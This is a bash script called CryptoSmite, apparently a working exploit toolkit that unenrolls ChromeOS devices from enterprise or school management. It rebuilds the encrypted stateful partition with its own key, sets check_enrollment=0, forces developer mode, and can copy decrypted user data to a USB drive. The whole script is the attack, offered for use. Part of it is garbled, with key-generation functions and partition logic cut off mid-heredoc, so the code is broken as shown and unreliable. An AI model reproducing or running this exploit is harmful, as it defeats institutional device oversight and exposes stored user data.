#!/bin/bash # # cryptosmite.sh remake or something # by Writable and OlyB # # unenroll only for now, will add more features later # set -eE UNENROLL=1 ACTION1="erase" ACTION2="unenroll" USE_BACKUP=0 CONTINUE=0 WIPE_ENCSTATEFUL=0 wipe_encstateful() { WIPE_ENCSTATEFUL=1 } echo_sensitive() { echo "$@" } print_welcome() { echo "Welcome to the CryptoSmite toolkit (2024)" echo "Please look at the following options: " echo "(1) Unenrollment" echo "(2) Re-enroll with backup (DO note: BACKUPS may contain unintended extensions that may leave your device open up to exploits.)" echo "(q) Quit" CONTINUE=1 } mkdir -p /mnt/stateful_partition reenroll() { # sets unenroll to zero, so it mounts and has same behaviour. This caused problems with the original cryptocrafter script UNENROLL=0 ACTION1="read" ACTION2="capture all data on" CONTINUE=1 } skip_devmode() { clear echo "This will reboot your device, please press ctrl-c within 3 seconds if you have selected the wrong option to quit the program. THIS DOESN'T FEATURE UNENROLLMENT, SELECT OPTION 1." mkfs.ext4 /dev/mmcblk0p1 -F mount -o loop,rw /dev/mmcblk0p1 /tmp touch /tmp/.developer_mode umount /tmp && sync reboot -f exit 0 #if reboot fails for some weird reason } restore_backup() { ACTION1="restore" ACTION2="reset" USE_BACKUP=1 } confirm_choice() { # Argument 1 is the function/string to confirm. # If the user confirms: The function will decide whether it should reboot, exit, or return to the main menu. # Otherwise exits back to the main menu loop. while true do clear local should_run= echo "Are you sure you want to $1? (y/n)" read -p ">" should_run case "$should_run" in y) $1 return ;; n) echo "Exiting back to the main menu" return ;; *) esac done } if [ $(id -u) -gt 0 ] then echo "Please run $0 as root" exit 0 fi echo "-------------CryptoSmite------------" selected_choice="" while true do if [ $CONTINUE -gt 0 ] then break fi # Decided not to refactor unenroll into a bash function, and only add new functions that will get called, and determine if they should exit/reboot. See `confirm_choice` clear print_welcome read -p "Select choice: " -r selected_choice case $(echo $selected_choice | awk '{print(tolower($0))}') in 1) # Unenrollment past this point it will just run the code after this break ;; 2) confirm_choice restore_backup ;; q) echo "Quitting now" sleep 0.8 clear exit 0 ;; *) echo "Invalid option" ;; esac # TO unenroll done CRYPTSETUP_PATH=/usr/local/bin/cryptsetup_$(arch) mount -o rw /dev/sda1 /mnt/stateful_partition chmod +x /usr/local/bin/cryptsetup_aarch64 chmod +x /usr/local/bin/cryptsetup_x86_64 SCRIPT_DATE="[2024-03-19]" BACKUP_PAYLOAD=/mnt/stateful_partition/stateful.tar.xz clear if [ $USE_BACKUP -gt 0 ] then echo "Please type in your encstateful path below" read -p ">" stateful_path BACKUP_PAYLOAD=$stateful_path fi NEW_ENCSTATEFUL_SIZE=$((1024 * 1024 * 1024)) # 1 GB fail() { printf "%b\n" "$*" >&2 exit 1 } get_largest_cros_blockdev() { local largest size dev_name tmp_size remo size=0 for blockdev in /sys/block/*; do dev_name="${blockdev##*/}" echo "$dev_name" | grep -q '^\(loop\|ram\)' && continue tmp_size=$(cat "$blockdev"/size) remo=$(cat "$blockdev"/removable) if [ "$tmp_size" -gt "$size" ] && [ "${remo:-0}" -eq 0 ]; then case "$(sfdisk -l -o name "/dev/$dev_name" 2>/dev/null)" in *STATE*KERN-A*ROOT-A*KERN-B*ROOT-B*) largest="/dev/$dev_name" size="$tmp_size" ;; esac fi done echo "$largest" } format_part_number() { echo -n "$1" echo "$1" | grep -q '[0-9]$' && echo -n p echo "$2" } cleanup() { umount "$ENCSTATEFUL_MNT" || : ${CRYPTSETUP_PATH} close encstateful || : umount "$STATEFUL_MNT" || : trap - EXIT INT } key_crosencstateful() { cat </dev/null 2>&1 else echo "Not wiping stateful" fi STATEFUL_MNT=$(mktemp -d) mkdir -p "$STATEFUL_MNT" mount "$TARGET_PART" "$STATEFUL_MNT" echo_sensitive "Setting up encstateful" truncate -s "$NEW_ENCSTATEFUL_SIZE" "$STATEFUL_MNT"/encrypted.block # this keeps data, so we can actually read the old data ENCSTATEFUL_KEY=$(mktemp) key_ecryptfs > "$ENCSTATEFUL_KEY" ${CRYPTSETUP_PATH} open --type plain --cipher aes-cbc-essiv:sha256 --key-size 256 --key-file "$ENCSTATEFUL_KEY" "$STATEFUL_MNT"/encrypted.block encstateful if [ $UNENROLL -eq 0 ] then echo "Not wiping stateful for extracting of data from stateful" else echo "Wiping and mounting encstateful" mkfs.ext4 -F /dev/mapper/encstateful >/dev/null 2>&1 fi ENCSTATEFUL_MNT=$(mktemp -d) mkdir -p "$ENCSTATEFUL_MNT" mount /dev/mapper/encstateful "$ENCSTATEFUL_MNT" if [ $UNENROLL -eq 0 ] then echo "Backing up data!" tar -czf /mnt/stateful_partition/saved.tar.gz $ENCSTATEFUL_MNT echo "Successfully extracted encstateful data to /mnt/stateful_partition/saved.tar.gz on the USB! DO NOT SHARE THIS WITH ANYONE that you don't know, as it may contain sensitive information. WE WILL NEVER ASK YOU FOR THIS BACKUP!" fi echo_sensitive "Dropping encstateful key" key_crosencstateful > "$STATEFUL_MNT"/encrypted.needs-finalization echo $ENCSTATEFUL_KEY > /mnt/stateful_partition/enc.key if [ $WIPE_ENCSTATEFUL -eq 0 ] then echo_sensitive -n "Extracting backup to encstateful" tar -xf "$BACKUP_PAYLOAD" -C "$ENCSTATEFUL_MNT" --checkpoint=.100 echo "" else echo "Keeping encstateful empty" fi echo "Cleaning up" cleanup vpd -i RW_VPD -s check_enrollment=0 || : # this doesn't get set automatically crossystem disable_dev_request=1 || : crossystem disable_dev_request=1 # grunt weirdness echo "SMITED SUCCESSFULLY!" echo "" echo "Exploit and original POC created by Writable (unretained)" echo "This script created by OlyB" echo "" echo "Rebooting in 3 seconds" sleep 3 reboot -f echo "If your device hasn't rebooted, press refresh+power." sleep infinity